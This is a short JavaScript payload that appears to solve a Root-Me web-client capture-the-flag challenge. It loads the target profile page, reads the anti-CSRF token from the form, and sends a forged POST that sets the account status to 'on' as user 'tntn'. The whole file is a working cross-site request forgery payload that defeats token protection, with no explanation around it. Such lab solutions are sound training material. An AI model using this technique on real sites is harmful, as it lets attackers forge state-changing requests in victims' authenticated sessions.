var url = 'http://challenge01.root-me.org/web-client/ch23/index.php?action=profile';
var xmlhttp1 = new XMLHttpRequest();

xmlhttp1.onload = function () {
  if (this.status == 200) {
    var mon_xml = this.responseXML;
    var token = mon_xml.forms[0].elements.token.value;
    var post_data = 'username=tntn&status=on&token=' + token;
    var xmlhttp2 = new XMLHttpRequest();
    xmlhttp2.open("POST", url);
    xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp2.send(post_data);
  }
}

xmlhttp1.open("GET", url);
xmlhttp1.responseType = "document";
xmlhttp1.send();